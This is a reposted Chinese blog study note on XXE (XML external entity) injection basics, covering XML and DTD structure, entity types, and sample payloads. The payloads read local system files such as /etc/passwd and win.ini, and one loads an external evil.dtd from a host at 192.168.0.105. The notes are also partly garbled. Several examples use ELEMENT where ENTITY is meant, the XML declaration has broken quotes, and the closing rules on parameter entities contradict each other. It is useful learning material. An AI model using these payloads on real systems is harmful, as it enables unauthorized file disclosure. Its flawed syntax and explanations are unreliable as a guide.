XXE外部实体注入漏洞之——基础知识

基础知识

东西有点多,还需要消化消化,概念有些混淆了,基础构造payload和外部文件差不多理解了,其他原理还是要再学习哈

实验环境

libxml2.9.1 及以后,默认不解析外部实体。测试的时候 windows 下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux 中需要将 libxml低于 libxml2.9.1 的版本编译到 PHP 中,可以使用 phpinfo()查看 libxml 的版本信息

定义

XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

		XML 文档结构
			包括 XML 声明
			DTD 文档类型定义(可选)
			文档元素

XML文档结构

		<?xml version=1.0” encoding="gb2312" encoding=UTF-8?> //xml 声明、版本、编码
		<!DOCTYPE root system "http://www.XXXX.com/file"[ //定义 DTD 文件,格式为:root 指定根节点名称,system 声明要使用的外部 DTD 文件路径,后面加文件 URL,注意[]包裹。
		<!ELEMENT root (other)> // 元素声明,声明 xml 中包含的元素,声明中需要指定元素名称(root、other 等)和元素类别、内容等
		<!ELEMENT to (#PCDATA)> // <!--定义 to 元素为”#PCDATA”类型-->
		<!ELEMENT generalentity "content" > //ELEMENT 标签用于声明实体,关于实体的定义如下:“实体是用于定义引用普通文本或特殊字符的快捷方式的变量”实体是在 DTD 文件中定义的变量,xml 解析器解析 xml 文件的时候,会将被的引用替换为实体内容,实体分为:预定义实体、普通实体、参数实体,此处定义了普通实体 generalentity,内容为 content
		<!ELEMENT % extendentity SYSTEM "http://www.XXXX.com/file"> //定义参数实体,格式
为:<!ELEMENT % 参数名称 参数内容>

引用格式:%参数名称

参数实体只能在 DTD 文件中引用,内部 DTD 文件的参数引用只能出现于 DTD 标签可出现的
位置,外部 DTD 文件参数实体的引用可以出于 DTD 标签内容,比如:

<!ELEMENT % "%another">
		%extendentity; //引用参数外部实体

DTD 的基础知识

Document Type Definition 即文档类型定义,用来为 XML 文档定义语义约束。
可以嵌入在 XML 文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上 XML Schema。
参考链接: http://www.w3school.com.cn/dtd/index.asp

基本的 PAYLOAD 结构

	开头 进行了 XML 的声明
<?xml version=1.0” encoding="gb2312" encoding=UTF-8?>
	然后使用 DTD 声明实体(这里使用了 file 协议)
<!DOCTYPE foo[
			<!ELEMENT  foo ANY>
			<!ELEMENT %  xxe SYSTEM  "file:///etc/passwd">]>
	最后使用 XML 获取实体的数据
<foo>&xxe;</foo>

使用 DTD 实体的攻击方式

	DTD 引用方式(简要了解)
		1. DTD 内部声明
			<!DOCTYPE 根元素 [元素声明]>
		2. DTD 外部引用
			<!DOCTYPE 根元素名称 SYSTEM "外部 DTD 的 URI">
		3. 引用公共 DTD
			<!DOCTYPE 根元素名称 PUBLIC "DTD 标识名" "公用 DTD 的 URI">
	示例
?xml version="1.0"?>

命名方法:

以!DOCTYPE 开始,configuration 是文档根元素名称;
PUBLIC 表示是公共 DTD;
-表示是非 ISO 组织;
mybatis.org 表示组织;
DTD 表示类型;
Config 表示标签;
3.0 是标签后附带的版本号;
EN 表示 DTD 语言是英语;
最后是 DTD 的 URL;

DTD 实体声明

内部实体声明

<!ENTITY 实体名称 "实体的值">
			一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在 GET 还是在 POST

中都需要进行 URL 编码,因为是使用参数传入 xml 的,&符号会被认为是参数间的连
接符号,示例

	<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "oldboyedu.com">]>
<foo>&xxe;</foo>

外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL">
			外部引用可支持 http,file 等协议,不同的语言支持的协议不同,但存在一些通用

的协议,具体内容如下所示

					示例
		<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
		

参数实体声明

<!ENTITY % 实体名称 "实体的值">

or

<!ENTITY % 实体名称 SYSTEM "URI">
			示例
		<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://192.168.0.105:8080/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
					外部 evil.dtd 中的内容
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

引用公共实体

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
			示例
	<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe PUBLIC "public_ID""http://192.168.0.105:8080/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
					外部 evil.dtd 中的内容
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

实体类别介绍

	内置实体 (Built-in entities) 
	字符实体 (Character entities) 
	通用实体 (General entities) 
	参数实体 (Parameter entities)
		用%实体名称申明,引用时也用%实体名称;
			只能在 DTD 中申明,DTD 中引用;

举例

		内部实体
<!ENTITY 实体名称 "实体内容">
		外部实体
<!ENTITY 实体名称 SYSTEM "URI">
		参数实体
<!ENTITY % 实体名称 "实体内容">

或者

<!ENTITY % 实体名称 "URI">

注意:参数实体是在 DTD 中被引用的,而其余实体是在 xml 文档中被引用的
体用%实体名称申明,引用时也用%实体名称;
只能在 DTD 中申明,可在 xml 文档中引用。

发布了117 篇原创文章 · 获赞 11 · 访问量 6465

猜你喜欢

转载自blog.csdn.net/weixin_43079958/article/details/105476366